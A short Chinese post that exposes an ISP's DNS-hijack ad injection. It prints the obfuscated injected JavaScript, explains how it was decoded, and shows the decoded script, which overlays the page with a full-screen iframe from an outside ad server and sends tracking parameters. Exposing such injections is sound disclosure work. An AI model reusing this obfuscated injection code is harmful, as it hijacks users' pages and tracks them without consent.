重庆联通DNS劫持代码玩加密了
<script>var d="=iunm?=ifbe?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#?gvodujpo!mpbeBuusjcvuf)*|wbs!g>epdvnfou/hfuFmfnfouCzJe)#g#*<wbs!tfswfs>#iuuq;0069/28/274/249;91#<wbs!sfrvjsfe>#beje>311294'uddb>[IOtNUFyNEJzNEV5OB>>'vsjq>5646636:2'psmv>bIS1dEpwM4embXKwMnOwcR>>'tqje>2547571641'bsfb>:6'ut>243721:793#<jg)tfmg/epdvnfou/mpdbujpo>>xjoepx/epdvnfou/VSM!''!epdvnfou/cpez/dmjfouXjeui?>411!''!epdvnfou/cpez/dmjfouIfjhiu?>411*|g/tsd>tfswfs,#0b0t@g";function i(_,__){_+=__;var $="";for(var u=0;u<_.length;u++){var r=_.charCodeAt(u);$+=String.fromCharCode(r-1);}return $;} var c=">betuzmf`nto/iunm'#,sfrvjsfe,#'bpsmv>bIS1dEpwM{V5MkF4MkF3Nz5yN{h7PEBwNkBxNUh{Mx>>'q2bsn>311'q3bsn>411'q4bsn>26'q5bsn>6'q6bsn>4'q7bsn>1'bqqe>1'ibtDpvou>1'ibtXijufVtfs>1#<~fmtf|g/tsd>tfswfs,#0b0q@#,sfrvjsfe,#'qvtiGmbh>1#<~~=0tdsjqu?=0ifbe?=cpez!pompbe>#mpbeBuusjcvuf)*#!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op?=jgsbnf!je>#g#!gsbnfCpsefs>1!xjeui>211&!ifjhiu>211&!tdspmmjoh>bvup!tsd>##?=0jgsbnf?=0cpez?=0iunm?";alert(i(d,c));</script>
把最后的document.write修改为alert,解密代码如下:
<html><head><script type="text/javascript">function loadAttribute(){var f=document.getElementById("f");var server="http://58.17.163.138:80";var required="adid=200183&tcca=ZHNsMTExMDIyMDU4NA==&urip=453552591&orlu=aHR0cDovL3dlaWJvLmNvbQ==&spid=1436460530&area=95&ts=1326109682";if(self.document.location==window.document.URL && document.body.clientWidth>=300 && document.body.clientHeight>=300){f.src=server+"/a/s?f=adstyle_msn.html&"+required+"&aorlu=aHR0cDovLzU4LjE3LjE2My4xMzg6ODAvMjAwMTgzLw==&p1arm=200&p2arm=300&p3arm=15&p4arm=5&p5arm=3&p6arm=0&appd=0&hasCount=0&hasWhiteUser=0";}else{f.src=server+"/a/p?"+required+"&pushFlag=0";}}</script></head><body onload="loadAttribute()" rightMargin=0 topMargin=0 leftMargin=0 scroll=no><iframe id="f" frameBorder=0 width=100% height=100% scrolling=auto src=""></iframe></body></html>